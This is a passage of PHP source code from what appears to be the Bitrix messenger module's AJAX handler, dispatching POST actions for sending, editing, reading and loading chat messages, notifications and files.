		'ERROR' => $errorMessage
	));
}
else if ($_POST['IM_FILE_UNREGISTER'] == 'Y')
{
	$_POST['FILES'] = CUtil::JsObjectToPhp($_POST['FILES']);
	$_POST['MESSAGES'] = CUtil::JsObjectToPhp($_POST['MESSAGES']);

	$result = CIMDisk::UploadFileUnRegister($_POST['CHAT_ID'], $_POST['FILES'], $_POST['MESSAGES']);

	echo \Bitrix\Im\Common::objectEncode(Array(
		'ERROR' => !$result? 'ERROR': ''
	));
}
else if ($_POST['IM_FILE_DELETE'] == 'Y')
{
	$result = CIMDisk::DeleteFile($_POST['CHAT_ID'], $_POST['FILE_ID']);

	echo \Bitrix\Im\Common::objectEncode(Array(
		'CHAT_ID' => $_POST['CHAT_ID'],
		'FILE_ID' => $_POST['FILE_ID'],
		'ERROR' => !$result? 'ERROR': ''
	));
}
else if ($_POST['IM_FILE_SAVE_TO_DISK'] == 'Y')
{
	$result = CIMDisk::SaveToLocalDisk($_POST['FILE_ID']);

	echo \Bitrix\Im\Common::objectEncode(Array(
		'CHAT_ID' => $_POST['CHAT_ID'],
		'FILE_ID' => $_POST['FILE_ID'],
		'NEW_FILE_ID' => $result? $result->getId(): 0,
		'ERROR' => !$result? 'ERROR': ''
	));
}
else if ($_POST['IM_FILE_UPLOAD_FROM_DISK'] == 'Y')
{
	$errorMessage = '';

	CUtil::decodeURIComponent($_POST);
	$_POST['FILES'] = CUtil::JsObjectToPhp($_POST['FILES']);

	$result = CIMDisk::UploadFileFromDisk($_POST['CHAT_ID'], $_POST['FILES'], $_POST['MESSAGE'], $_POST['OL_SILENT'] == 'Y');
	if (!$result)
	{
		$errorMessage = 'ERROR';
	}

	echo \Bitrix\Im\Common::objectEncode(Array(
		'FILES' => $result['FILES'],
		'CHAT_ID' => $_POST['CHAT_ID'],
		'RECIPIENT_ID' => $_POST['RECIPIENT_ID'],
		'MESSAGE_ID' => $result['MESSAGE_ID'],
		'MESSAGE_TMP_ID' => $_POST['MESSAGE_TMP_ID'],
		'ERROR' => $errorMessage
	));
}
else if ($_POST['IM_HISTORY_FILES_LOAD'] == 'Y')
{
	$chatId = intval($_POST['CHAT_ID']);
	$historyPage = intval($_POST['PAGE_ID']);
	$historyPage = $historyPage>0? $historyPage: 1;

	$arFiles = CIMDisk::GetHistoryFiles($chatId, $historyPage);

	echo \Bitrix\Im\Common::objectEncode(Array(
		'CHAT_ID' => $chatId,
		'FILES' => $arFiles,
		'ERROR' => ''
	));
}
else if ($_POST['IM_HISTORY_FILES_SEARCH'] == 'Y')
{
	CUtil::decodeURIComponent($_POST);

	$chatId = intval($_POST['CHAT_ID']);
	$arFiles = CIMDisk::GetHistoryFilesByName($chatId, $_POST['SEARCH']);

	echo \Bitrix\Im\Common::objectEncode(Array(
		'CHAT_ID' => $chatId,
		'FILES' => $arFiles,
		'ERROR' => ''
	));
}
elseif ($_POST['IM_UPDATE_STATE'] == 'Y')
{
	$arResult["REVISION"] = \Bitrix\Im\Revision::getWeb();
	$arResult["MOBILE_REVISION"] = \Bitrix\Im\Revision::getMobile();
	$arResult["DISK_REVISION"] = COption::GetOptionString("disk", "disk_revision_api", -1);

	$arResult['SERVER_TIME'] = time();

	if (isset($_POST['FN']))
	{
		$_POST['FN'] = CUtil::JsObjectToPhp($_POST['FN']);
		if (is_array($_POST['FN']))
		{
			foreach ($_POST['FN'] as $key => $value)
				$_SESSION['IM_FLASHED_NOTIFY'][$key] = $key;
		}
	}

	if (isset($_POST['FM']))
	{
		$_POST['FM'] = CUtil::JsObjectToPhp($_POST['FM']);
		if (is_array($_POST['FM']))
		{
			foreach ($_POST['FM'] as $userId => $data)
				foreach ($data as $key => $value)
					$_SESSION['IM_FLASHED_MESSAGE'][$key] = $key;
		}
	}

	$bOpenMessenger = isset($_POST['OPEN_MESSENGER']) && intval($_POST['OPEN_MESSENGER']) == 1? true: false;

	// Online
	$arOnline = CIMStatus::GetList();

	// Counters
	$arResult["COUNTERS"] = CUserCounter::GetValues($USER->GetID(), $_POST['SITE_ID']);

	if (CIMMail::IsExternalMailAvailable())
	{
		$arResult["MAIL_COUNTER"] = intval($arResult["COUNTERS"]["mail_unseen"]);
	}
	else if (CModule::IncludeModule("dav"))
	{
		// Exchange
		$ar = CDavExchangeMail::GetTicker($GLOBALS["USER"]);
		if ($ar !== null)
			$arResult["MAIL_COUNTER"] = intval($ar["numberOfUnreadMessages"]);
	}

	$arSend = Array(
		'REVISION' => $arResult["REVISION"],
		'MOBILE_REVISION' => $arResult["MOBILE_REVISION"],
		'DISK_REVISION' => $arResult["DISK_REVISION"],
		'USER_ID' => $USER->GetId(),
		'ONLINE' => !empty($arOnline)? $arOnline['users']: array(),
		'COUNTERS' => $arResult["COUNTERS"],
		'MAIL_COUNTER' => $arResult["MAIL_COUNTER"],
		'SERVER_TIME' => time(),
		'ERROR' => ""
	);

	if (CModule::IncludeModule('pull'))
	{
		$arPullConfig = CPullChannel::GetConfig($USER->GetId(), ($_POST['CACHE'] == 'Y'), false, ($_POST['MOBILE'] == 'Y'));
		if (is_array($arPullConfig))
		{
			$arSend['PULL_CONFIG'] = $arPullConfig;
		}
	}

	$CIMMessage = new CIMMessage();
	$arMessage = $CIMMessage->GetUnreadMessage(Array(
		'USE_TIME_ZONE' => 'N',
		'ORDER' => 'ASC'
	));
	if ($arMessage['result'])
	{
		CIMMessage::GetFlashMessage($arMessage['unreadMessage']);

		$arSend['MESSAGE'] = $arMessage['message'];
		$arSend['UNREAD_MESSAGE'] = CIMMessenger::CheckXmppStatusOnline()? array(): $arMessage['unreadMessage'];
		$arSend['USERS_MESSAGE'] = $arMessage['usersMessage'];
		$arSend['FILES'] = $arMessage['files'];
		$arSend['USERS'] = $arMessage['users'];
		$arSend['USER_IN_GROUP'] = $arMessage['userInGroup'];
		$arSend['ERROR'] = '';
	}

	$CIMChat = new CIMChat();
	$arMessage = $CIMChat->GetUnreadMessage(Array(
		'USE_TIME_ZONE' => 'N',
		'ORDER' => 'ASC'
	));
	if ($arMessage['result'])
	{
		CIMMessage::GetFlashMessage($arMessage['unreadMessage']);

		foreach ($arMessage['message'] as $id => $ar)
		{
			$ar['recipientId'] = 'chat'.$ar['recipientId'];
			$arSend['MESSAGE'][$id] = $ar;
		}

		foreach ($arMessage['usersMessage'] as $chatId => $ar)
			$arSend['USERS_MESSAGE']['chat'.$chatId] = $ar;

		if (!CIMMessenger::CheckXmppStatusOnline())
		{
			foreach ($arMessage['unreadMessage'] as $chatId => $ar)
				$arSend['UNREAD_MESSAGE']['chat'.$chatId] = $ar;
		}

		foreach ($arMessage['files'] as $key => $value)
			$arSend['FILES'][$key] = $value;

		foreach ($arMessage['users'] as $key => $value)
			$arSend['USERS'][$key] = $value;

		foreach ($arMessage['userInGroup'] as $key => $value)
			$arSend['USER_IN_GROUP'][$key] = $value;

		$arSend['CHAT'] = $arMessage['chat'];
		$arSend['USER_BLOCK_CHAT'] = $arMessage['userChatBlockStatus'];
		$arSend['USER_IN_CHAT'] = $arMessage['userInChat'];

		$arSend['ERROR'] = '';
	}

	// Notify
	$CIMNotify = new CIMNotify();
	$arNotify = $CIMNotify->GetUnreadNotify(Array('USE_TIME_ZONE' => 'N'));
	if ($arNotify['result'])
	{
		$arSend['NOTIFY'] = $arNotify['notify'];
		$arSend['UNREAD_NOTIFY'] = $arNotify['unreadNotify'];
		$arSend['FLASH_NOTIFY'] = CIMNotify::GetFlashNotify($arNotify['unreadNotify']);
		$arSend['ERROR'] = '';
	}
	$arSend['XMPP_STATUS'] = CIMMessenger::CheckXmppStatusOnline()? 'Y':'N';
	$arSend['DESKTOP_STATUS'] = CIMMessenger::CheckDesktopStatusOnline()? 'Y':'N';

	$arSend['TEXTAREA_ICON'] = \Bitrix\Im\App::getListForJs();
	$arSend['COMMAND'] = \Bitrix\Im\Command::getListForJs();

	echo \Bitrix\Im\Common::objectEncode($arSend);
}
else if ($_POST['IM_UPDATE_STATE_LIGHT'] == 'Y')
{
	$errorMessage = "";

	$arResult["REVISION"] = \Bitrix\Im\Revision::getWeb();
	$arResult["MOBILE_REVISION"] = \Bitrix\Im\Revision::getMobile();
	$arResult["DISK_REVISION"] = COption::GetOptionString("disk", "disk_revision_api", -1);

	$arResult['SERVER_TIME'] = time();
	if (isset($_POST['NOTIFY']))
	{
		$CIMNotify = new CIMNotify();
		$arNotify = $CIMNotify->GetUnreadNotify(Array('SPEED_CHECK' => 'Y', 'USE_TIME_ZONE' => 'N'));

		$arResult['COUNTER_NOTIFICATIONS'] = $arNotify['countNotify'];
		$arResult['NOTIFY_LAST_ID'] = $arNotify['maxNotify'];
	}

	if (isset($_POST['MESSAGE']))
	{
		$CIMMessage = new CIMMessage();
		$arMessage = $CIMMessage->GetUnreadMessage(Array(
			'SPEED_CHECK' => 'N',
			'LOAD_DEPARTMENT' => 'N',
			'ORDER' => 'ASC',
			'FILE_LOAD' => 'N',
			'GROUP_BY_CHAT' => 'Y',
		));
		$arResult['COUNTER_MESSAGES'] = $arMessage['countMessage'];

		$arUnread = Array();
		foreach ($arMessage['message'] as $data)
		{
			$arUnread[$data['senderId']]['MESSAGE'] = $data;
			$arUnread[$data['senderId']]['USER'] = $arMessage['users'][$data['senderId']];
		}

		$CIMChat = new CIMChat();
		$arMessage = $CIMChat->GetUnreadMessage(Array(
			'SPEED_CHECK' => 'Y',
			'LOAD_DEPARTMENT' => 'N',
			'ORDER' => 'ASC',
			'GROUP_BY_CHAT' => 'Y',
			'FILE_LOAD' => 'N',
			'USER_LOAD' => 'N',
		));

		$arResult['COUNTER_MESSAGES'] += count($arMessage['message']);

		foreach ($arMessage['message'] as $data)
		{
			$arUnread['chat'.$data['recipientId']]['MESSAGE'] = $data;
			$arUnread['chat'.$data['recipientId']]['CHAT'] = $arMessage['chat'][$data['recipientId']];
		}

		uasort($arUnread, create_function('$a, $b', 'if($a["MESSAGE"]["date"] < $b["MESSAGE"]["date"] ) return 1; elseif($a["MESSAGE"]["date"]  > $b["MESSAGE"]["date"] ) return -1; else return 0;'));
		$arResult['COUNTER_UNREAD_MESSAGES'] = $arUnread;
	}

	if (!isset($_POST['DISABLE_ONLINE']))
	{
		$arOnline = CIMStatus::GetList();
		$arResult['ONLINE'] = !empty($arOnline)? $arOnline['users']: Array();
		if (CModule::IncludeModule('pull'))
		{
			$arPullConfig = CPullChannel::GetConfig($USER->GetId(), false, false, ($_POST['MOBILE'] == 'Y'));
			if (is_array($arPullConfig))
			{
				$arResult['PULL_CONFIG'] = $arPullConfig;
			}
		}
	}

	// Counters
	$arLastDate = array();
	$arResult["COUNTERS"] = CUserCounter::GetValues($USER->GetID(), $_POST['SITE_ID'], $arLastDate);
	$arResult["COUNTERS_ZERO_DATE"] = (isset($arLastDate[$USER->GetID()]) && isset($arLastDate[$USER->GetID()][$_POST['SITE_ID']]) ? $arLastDate[$USER->GetID()][$_POST['SITE_ID']] : array());
	$arResult["ERROR"] = $errorMessage;


	if (isset($_POST['JSON']))
	{
		echo \Bitrix\Main\Web\Json::encode($arResult);
	}
	else
	{
		echo \Bitrix\Im\Common::objectEncode($arResult);
	}
}
else if ($_POST['IM_NOTIFY_LOAD'] == 'Y')
{
	$CIMNotify = new CIMNotify();
	$arNotify = $CIMNotify->GetUnreadNotify(Array('SPEED_CHECK' => 'N', 'USE_TIME_ZONE' => 'N'));
	if ($arNotify['result'])
	{
		$arSend['NOTIFY'] = $arNotify['notify'];
		$arSend['UNREAD_NOTIFY'] = $arNotify['unreadNotify'];
		$arSend['FLASH_NOTIFY'] = CIMNotify::GetFlashNotify($arNotify['unreadNotify']);
		$arSend['ERROR'] = '';

		$minNotify = min(array_keys($arNotify['notify']));
		if ($minNotify > 0 && (!isset($_POST['IM_AUTO_READ']) || $_POST['IM_AUTO_READ'] == 'Y'))
		{
			$CIMNotify->MarkNotifyRead($minNotify, true);
		}
	}
	echo \Bitrix\Im\Common::objectEncode($arSend);
}
else if ($_POST['IM_NOTIFY_HISTORY_LOAD_MORE'] == 'Y')
{
	$errorMessage = "";

	$CIMNotify = new CIMNotify();
	$arNotify = $CIMNotify->GetNotifyList(Array('PAGE' => $_POST['PAGE'], 'USE_TIME_ZONE' => 'N'));

	echo \Bitrix\Im\Common::objectEncode(Array(
		'NOTIFY' => $arNotify,
		'ERROR' => $errorMessage
	));
}
else if ($_POST['IM_SEND_MESSAGE'] == 'Y')
{
	CUtil::decodeURIComponent($_POST);

	$tmpID = $_POST['ID'];

	$insertID = 0;
	$errorMessage = "";
	if ($_POST['CHAT'] == 'Y' && substr($_POST['RECIPIENT_ID'], 0, 4) == 'chat')
	{
		$userId = $USER->GetId();
		$chatId = intval(substr($_POST['RECIPIENT_ID'], 4));
		if (CIMChat::GetGeneralChatId() == $chatId && !CIMChat::CanSendMessageToGeneralChat($userId))
		{
			$errorMessage = GetMessage('IM_ERROR_GROUP_CANCELED');
		}
		else
		{
			$ar = Array(
				"FROM_USER_ID" => $userId,
				"TO_CHAT_ID" => $chatId,
				"MESSAGE" 	 => $_POST['MESSAGE'],
				"SILENT_CONNECTOR" => $_POST['OL_SILENT'] == 'Y'?'Y':'N'
			);
			$insertID = CIMChat::AddMessage($ar);
		}
	}
	else if (substr($_POST['RECIPIENT_ID'], 0, 4) != 'chat' && !\Bitrix\Im\User::getInstance($USER->GetID())->isConnector())
	{
		$ar = Array(
			"FROM_USER_ID" => intval($USER->GetID()),
			"TO_USER_ID" => intval($_POST['RECIPIENT_ID']),
			"MESSAGE" 	 => $_POST['MESSAGE'],
		);
		$insertID = CIMMessage::Add($ar);
	}
	else
	{
		$errorMessage = GetMessage('IM_ACCESS_ERROR');
	}

	if (!$insertID && !$errorMessage)
	{
		if ($e = $GLOBALS["APPLICATION"]->GetException())
			$errorMessage = $e->GetString();
		if (StrLen($errorMessage) == 0)
			$errorMessage = GetMessage('IM_UNKNOWN_ERROR');
	}

	if (!\CIMMessenger::IsMobileRequest())
	{
		CIMStatus::Set($USER->GetId(), Array('IDLE' => null));
	}


	$message = CIMMessenger::GetById($insertID, Array('WITH_FILES' => 'Y'));
	$arMessages[$insertID]['params'] = $message['PARAMS'];

	$arMessages = CIMMessageLink::prepareShow($arMessages, Array($insertID => $message['PARAMS']));

	$ar['MESSAGE'] = trim(str_replace(Array('[BR]', '[br]'), "\n", $_POST['MESSAGE']));
	$ar['MESSAGE'] = preg_replace("/\[DISK\=([0-9]+)\]/i", "", $ar['MESSAGE']);

	$userTzOffset = isset($_POST['USER_TZ_OFFSET'])? intval($_POST['USER_TZ_OFFSET']): CTimeZone::GetOffset();
	$arResult = Array(
		'TMP_ID' => $tmpID,
		'ID' => $insertID,
		'CHAT_ID' => $message['CHAT_ID'],
		'SEND_DATE' => new \Bitrix\Main\Type\DateTime(),
		'SEND_MESSAGE' => \Bitrix\Im\Text::parse($ar['MESSAGE']),
		'SEND_MESSAGE_PARAMS' => $arMessages[$insertID]['params'],
		'SEND_MESSAGE_FILES' => $message['FILES'],
		'SENDER_ID' => intval($USER->GetID()),
		'RECIPIENT_ID' => $_POST['CHAT'] == 'Y'? htmlspecialcharsbx($_POST['RECIPIENT_ID']): intval($_POST['RECIPIENT_ID']),
		'OL_SILENT' => $_POST['OL_SILENT'],
		'ERROR' => $errorMessage
	);
	if (isset($_POST['MOBILE']))
	{
		$arFormat = Array(
			"today" => "today, ".GetMessage('IM_MESSAGE_FORMAT_TIME'),
			"" => GetMessage('IM_MESSAGE_FORMAT_DATE')
		);
		$arResult['SEND_DATE_FORMAT'] = FormatDate($arFormat, time()+$userTzOffset);
	}
	echo \Bitrix\Im\Common::objectEncode($arResult);
}
else if ($_POST['IM_BOT_COMMAND'] == 'Y')
{
	CUtil::decodeURIComponent($_POST);

	$messageId = intval($_POST['MESSAGE_ID']);
	$userId = $USER->GetId();

	$errorMessage = 'ACCESS_DENIED';

	$orm = \Bitrix\Im\Model\MessageTable::getById($messageId);
	if($message = $orm->fetch())
	{
		$orm = \Bitrix\Im\Model\ChatTable::getById($message['CHAT_ID']);
		$chat = $orm->fetch();
		$relations = \CIMChat::GetRelationById($message['CHAT_ID']);
		if (isset($relations[$userId]))
		{
			if (substr($_POST['DIALOG_ID'], 0, 4) == 'chat')
			{
				$messageFields = Array(
					"FROM_USER_ID" => $userId,
					"TO_CHAT_ID" => $message['CHAT_ID'],
					"MESSAGE"  => '/'.$_POST['COMMAND'].' '.$_POST['COMMAND_PARAMS'],
				);
			}
			else
			{
				$messageFields = Array(
					"FROM_USER_ID" => $userId,
					"TO_USER_ID" => intval($_POST['BOT_ID']),
					"MESSAGE"  => '/'.$_POST['COMMAND'].' '.$_POST['COMMAND_PARAMS'],
				);
			}
			$messageFields['MESSAGE_TYPE'] = $relations[$userId]['MESSAGE_TYPE'];
			$messageFields['AUTHOR_ID'] = $userId;

			$messageFields['COMMAND_CONTEXT'] = 'KEYBOARD';
			$messageFields['CHAT_ENTITY_TYPE'] = $chat['ENTITY_TYPE'];
			$messageFields['CHAT_ENTITY_ID'] = $chat['ENTITY_ID'];

			$result = \Bitrix\Im\Command::onCommandAdd($messageId, $messageFields);
			$errorMessage = '';
		}
	}

	echo \Bitrix\Im\Common::objectEncode(Array(
		'ERROR' => $errorMessage
	));
}
else if ($_POST['IM_EDIT_MESSAGE'] == 'Y')
{
	CUtil::decodeURIComponent($_POST);

	if(!CIMMessenger::Update($_POST['ID'], $_POST['MESSAGE']))
	{
		$arResult = Array(
			'ERROR' => 'CANT_EDIT_MESSAGE'
		);
	}
	else
	{
		$userTzOffset = isset($_POST['USER_TZ_OFFSET'])? intval($_POST['USER_TZ_OFFSET']): CTimeZone::GetOffset();

		$arResult = Array(
			'ID' => $insertID,
			'MESSAGE' => \Bitrix\Im\Text::parse($_POST['MESSAGE']),
			'DATE' => new \Bitrix\Main\Type\DateTime(),
			'ERROR' => ''
		);
	}

	echo \Bitrix\Im\Common::objectEncode($arResult);
}
else if ($_POST['IM_DELETE_MESSAGE'] == 'Y')
{
	$errorMessage = '';
	if(!CIMMessenger::Delete($_POST['ID']))
	{
		$errorMessage = 'CANT_EDIT_MESSAGE';
	}

	$arResult = Array(
		'ERROR' => $errorMessage
	);
	echo \Bitrix\Im\Common::objectEncode($arResult);
}
else if ($_POST['IM_SHARE_MESSAGE'] == 'Y')
{
	$errorMessage = '';
	if(!CIMMessenger::Share($_POST['ID'], $_POST['TYPE'], $_POST['DATE']))
	{
		$errorMessage = 'CANT_SHARE_MESSAGE';
	}

	$arResult = Array(
		'ERROR' => $errorMessage
	);
	echo \Bitrix\Im\Common::objectEncode($arResult);
}
else if ($_POST['IM_URL_ATTACH_DELETE'] == 'Y')
{
	$errorMessage = '';

	$result = CIMMessenger::UrlAttachDelete($_POST['ID'], $_POST['ATTACH_ID']);

	$arResult = Array(
		'ERROR' => $errorMessage
	);
	echo \Bitrix\Im\Common::objectEncode($arResult);
}
else if ($_POST['IM_LINES_VOTE_SEND'] == 'Y')
{
	CIMMessenger::LinesSessionVote($_POST['DIALOG_ID'], $_POST['MESSAGE_ID'], $_POST['RATING']);

	$arResult = Array(
		'ERROR' => ''
	);
	echo \Bitrix\Im\Common::objectEncode($arResult);
}
else if ($_POST['IM_LIKE_MESSAGE'] == 'Y')
{
	$errorMessage = '';
	$result = CIMMessenger::Like($_POST['ID'], $_POST['ACTION']);
	if ($result === false)
		$errorMessage = 'WITHOUT_CHANGES';

	$arResult = Array(
		'LIKE' => $result,
		'ERROR' => $errorMessage
	);
	echo \Bitrix\Im\Common::objectEncode($arResult);
}
else if ($_POST['IM_READ_MESSAGE'] == 'Y')
{
	$errorMessage = "";

	if (substr($_POST['USER_ID'], 0, 4) == 'chat')
	{
		$CIMChat = new CIMChat();
		$CIMChat->SetReadMessage(intval(substr($_POST['USER_ID'],4)), (isset($_POST['LAST_ID']) && intval($_POST['LAST_ID'])>0 ? $_POST['LAST_ID']: null));
	}
	else
	{
		$CIMMessage = new CIMMessage();
		$CIMMessage->SetReadMessage($_POST['USER_ID'], (isset($_POST['LAST_ID']) && intval($_POST['LAST_ID'])>0 ? $_POST['LAST_ID']: null));
	}

	echo \Bitrix\Im\Common::objectEncode(Array(
		'USER_ID' => htmlspecialcharsbx($_POST['USER_ID']),
		'ERROR' => $errorMessage
	));
}
else if ($_POST['IM_UNREAD_MESSAGE'] == 'Y')
{
	$errorMessage = "";
	if (substr($_POST['USER_ID'], 0, 4) == 'chat')
	{
		$CIMChat = new CIMChat();
		$CIMChat->SetUnReadMessage(intval(substr($_POST['USER_ID'],4)), (isset($_POST['LAST_ID']) && intval($_POST['LAST_ID'])>0 ? $_POST['LAST_ID']: null));
	}
	else
	{
		$CIMMessage = new CIMMessage();
		$CIMMessage->SetUnReadMessage($_POST['USER_ID'], (isset($_POST['LAST_ID']) && intval($_POST['LAST_ID'])>0 ? $_POST['LAST_ID']: null));
	}
	echo \Bitrix\Im\Common::objectEncode(Array(
		'USER_ID' => htmlspecialcharsbx($_POST['USER_ID']),
		'ERROR' => $errorMessage
	));
}
else if ($_POST['IM_LOAD_LAST_MESSAGE'] == 'Y')
{
	$error = '';
	$arMessage = Array();

	$entityType = '';
	$entityId = '';
	if ($_POST['CHAT'] == 'Y')
	{
		if (substr($_POST['USER_ID'], 0, 2) == 'sg')
		{
			$chatId = CIMChat::GetSonetGroupChatId(substr($_POST['USER_ID'], 2));
		}
		else
		{
			$chatId = intval(substr($_POST['USER_ID'], 4));
		}

		if ($chatId > 0)
		{
			$CIMChat = new CIMChat();
			$arMessage = $CIMChat->GetLastMessage($chatId, false, ($_POST['USER_LOAD'] == 'Y'? true: false), false);
		}
		else
		{
			$arMessage = false;
		}

		if (!$arMessage || $_POST['USER_LOAD'] == 'Y' && empty($arMessage['chat']) || isset($arMessage['chat'][$chatId]) && !in_array($arMessage['chat'][$chatId]['message_type'], Array(IM_MESSAGE_OPEN, IM_MESSAGE_CHAT, IM_MESSAGE_OPEN_LINE)))
		{
			$arMessage = Array();
			$error = 'ACCESS_DENIED';
		}
		else if (isset($arMessage['message']))
		{
			foreach ($arMessage['message'] as $id => $ar)
				$arMessage['message'][$id]['recipientId'] = 'chat'.$ar['recipientId'];

			$arMessage['usersMessage']['chat'.$chatId] = $arMessage['usersMessage'][$chatId];
			unset($arMessage['usersMessage'][$chatId]);
			if (isset($_POST['READ']) && $_POST['READ'] == 'Y')
				$CIMChat->SetReadMessage($chatId);

			$orm = \Bitrix\Im\Model\ChatTable::getById($chatId);
			$chatData = $orm->fetch();

			$diskFolderId = (int)$chatData['DISK_FOLDER_ID'];
			$entityType = $chatData['ENTITY_TYPE'];
			$entityId = $chatData['ENTITY_ID'];
		}
	}
	else
	{
		$networkUserId = 0;
		if (substr($_POST['USER_ID'], 0, 12) == 'networkLines' && CModule::IncludeModule('imopenlines'))
		{
			$network = new \Bitrix\ImOpenLines\Network();
			$userId = $network->join(substr($_POST['USER_ID'], 12));
			if ($userId > 0)
			{
				$networkUserId = $_POST['USER_ID'];
				$_POST['USER_ID'] = $userId;
			}
		}
		else if (substr($_POST['USER_ID'], 0, 7) == 'network')
		{
			$userId = \CIMContactList::PrepareUserId($_POST['USER_ID'], $_POST['SEARCH_MARK']);
			if ($userId > 0)
			{
				$networkUserId = $_POST['USER_ID'];
				$_POST['USER_ID'] = $userId;
			}
		}

		$chatId = 0;
		if (CIMContactList::AllowToSend(Array('TO_USER_ID' => $_POST['USER_ID'])))
		{
			$CIMMessage = new CIMMessage();
			$arMessage = $CIMMessage->GetLastMessage(intval($_POST['USER_ID']), false, ($_POST['USER_LOAD'] == 'Y'? true: false), false);
			if (isset($_POST['READ']) && $_POST['READ'] == 'Y')
				$CIMMessage->SetReadMessage(intval($_POST['USER_ID']));

			if ($_POST['USER_LOAD'] == 'Y' && count($arMessage['users']) <= 1 && $_POST['USER_ID'] != $USER->GetId())
			{
				$arMessage = Array();
				$error = 'ACCESS_DENIED';
			}
			else
			{
				$chatId = $arMessage['chatId'];
				if ($chatId <= 0)
				{
					$chatId = CIMMessage::GetChatId($USER->GetId(), $_POST['USER_ID']);
				}

				$orm = \Bitrix\Im\Model\ChatTable::getById($chatId);
				$chatData = $orm->fetch();

				$diskFolderId = (int)$chatData['DISK_FOLDER_ID'];
				$entityType = $chatData['ENTITY_TYPE'];
				$entityId = $chatData['ENTITY_ID'];
			}
		}
		else
		{
			$arMessage = Array();
			$error = 'ACCESS_DENIED';
		}
	}

	if ($error == '')
	{
		$relation = \CIMChat::GetRelationById($chatId);

		$dialogId = $_POST['USER_ID'];
		$userId = $USER->GetId();
		foreach(GetModuleEvents("im", "OnLoadLastMessage", true) as $arEvent)
		{
			ExecuteModuleEventEx($arEvent, array($chatId, $dialogId, $entityType, $entityId, $userId));
		}
	}

	if (!\CIMMessenger::IsMobileRequest())
	{
		CIMStatus::Set($USER->GetId(), Array('IDLE' => null));
	}

	echo \Bitrix\Im\Common::objectEncode(Array(
		'REVISION' => \Bitrix\Im\Revision::getWeb(),
		'MOBILE_REVISION' => \Bitrix\Im\Revision::getMobile(),
		'CHAT_ID' => $chatId,
		'DISK_FOLDER_ID' => $diskFolderId,
		'USER_ID' => $_POST['CHAT'] == 'Y'? htmlspecialcharsbx($_POST['USER_ID']): intval($_POST['USER_ID']),
		'MESSAGE' => isset($arMessage['message'])? $arMessage['message']: Array(),
		'USERS_MESSAGE' => isset($arMessage['usersMessage'])? $arMessage['usersMessage']: Array(),
		'UNREAD_MESSAGE' => isset($arMessage['unreadMessage'])? $arMessage['unreadMessage']: Array(),
		'USERS' => isset($arMessage['users'])? $arMessage['users']: Array(),
		'USER_IN_GROUP' => isset($arMessage['userInGroup'])? $arMessage['userInGroup']: Array(),
		'CHAT' => isset($arMessage['chat'])? $arMessage['chat']: Array(),
		'USER_BLOCK_CHAT' => isset($arMessage['userChatBlockStatus'])? $arMessage['userChatBlockStatus']: Array(),
		'USER_IN_CHAT' => isset($arMessage['userInChat'])? $arMessage['userInChat']: Array(),
		'USER_LOAD' => $_POST['USER_LOAD'] == 'Y'? 'Y': 'N',
		'READED_LIST' => isset($arMessage['readedList'])? $arMessage['readedList']: Array(),
		'PHONES' => isset($arMessage['phones'])? $arMessage['phones']: Array(),
		'FILES' => isset($arMessage['files'])? $arMessage['files']: Array(),
		'LINES' => isset($arMessage['lines'])? $arMessage['lines']: Array(),
		'OPENLINES' => isset($arMessage['openlines'])? $arMessage['openlines']: Array(),
		'NETWORK_ID' => $networkUserId? $networkUserId: '',
		'ERROR' => $error
	));
}
else if ($_POST['IM_USER_DATA_LOAD'] == 'Y')
{
	$error = '';
	$arMessage = Array();
	$chatId = 0;
	if (CIMContactList::AllowToSend(Array('TO_USER_ID' => $_POST['USER_ID'])))
	{
		$ar = CIMContactList::GetUserData(array(
				'ID' => Array($_POST['USER_ID'], $USER->GetID()),
				'DEPARTMENT' => 'Y',
				'USE_CACHE' => 'N',
				'PHONES' => IsModuleInstalled('voximplant')? 'Y': 'N'
			)
		);
		$arMessage['users'] = $ar['users'];
		$arMessage['userInGroup']  = $ar['userInGroup'];
		$arMessage['phones']  = $ar['phones'];
		$chatId = CIMMessage::GetChatId($USER->GetId(), $_POST['USER_ID']);
	}
	else
	{
		$error = 'ACCESS_DENIED';
	}

	echo \Bitrix\Im\Common::objectEncode(Array(
		'CHAT_ID' => $chatId,
		'USER_ID' => intval($_POST['USER_ID']),
		'USERS' => isset($arMessage['users'])? $arMessage['users']: Array(),
		'USER_IN_GROUP' => isset($arMessage['userInGroup'])? $arMessage['userInGroup']: Array(),
		'PHONES' => isset($arMessage['phones'])? $arMessage['phones']: Array(),
		'ERROR' => $error
	));
}
else if ($_POST['IM_HISTORY_LOAD'] == 'Y')
{
	$arMessage = Array();
	$chatId = 0;
	if (substr($_POST['USER_ID'], 0, 4) == 'chat')
	{
		$chatId = intval(substr($_POST['USER_ID'], 4));

		$CIMChat = new CIMChat();
		$arMessage = $CIMChat->GetLastMessage($chatId, false, ($_POST['USER_LOAD'] == 'Y'? true: false), false, false);
		if ($arMessage && isset($arMessage['message']))
		{
			foreach ($arMessage['message'] as $id => $ar)
				$arMessage['message'][$id]['recipientId'] = 'chat'.$ar['recipientId'];

			$arMessage['usersMessage']['chat'.$chatId] = $arMessage['usersMessage'][$chatId];
			unset($arMessage['usersMessage'][$chatId]);
		}
		$dialogId = 'chat'.$chatId;
	}
	else
	{
		$dialogId = intval($_POST['USER_ID']);
		if (CIMContactList::AllowToSend(Array('TO_USER_ID' => $dialogId)))
		{
			$CIMMessage = new CIMMessage();
			$arMessage = $CIMMessage->GetLastMessage($dialogId, false, ($_POST['USER_LOAD'] == 'Y'? true: false), false, false);

			$chatId = $arMessage['chatId'];
			if ($chatId <= 0)
			{
				$chatId = CIMMessage::GetChatId($USER->GetId(), $dialogId);
			}
		}
	}
	echo \Bitrix\Im\Common::objectEncode(Array(
		'CHAT_ID' => $chatId,
		'USER_ID' => $dialogId,
		'MESSAGE' => isset($arMessage['message'])? $arMessage['message']: Array(),
		'USERS_MESSAGE' => isset($arMessage['message'])? $arMessage['usersMessage']: Array(),
		'USERS' => isset($arMessage['users'])? $arMessage['users']: Array(),
		'USER_IN_GROUP' => isset($arMessage['userInGroup'])? $arMessage['userInGroup']: Array(),
		'CHAT' => isset($arMessage['chat'])? $arMessage['chat']: Array(),
		'USER_BLOCK_CHAT' => isset($arMessage['userChatBlockStatus'])? $arMessage['userChatBlockStatus']: Array(),
		'USER_IN_CHAT' => isset($arMessage['userInChat'])? $arMessage['userInChat']: Array(),
		'FILES' => isset($arMessage['files'])? $arMessage['files']: Array(),
		'ERROR' => ''
	));
}
else if ($_POST['IM_HISTORY_LOAD_MORE'] == 'Y')
{
	$arMessage = Array();

	$CIMHistory = new CIMHistory(false, Array());
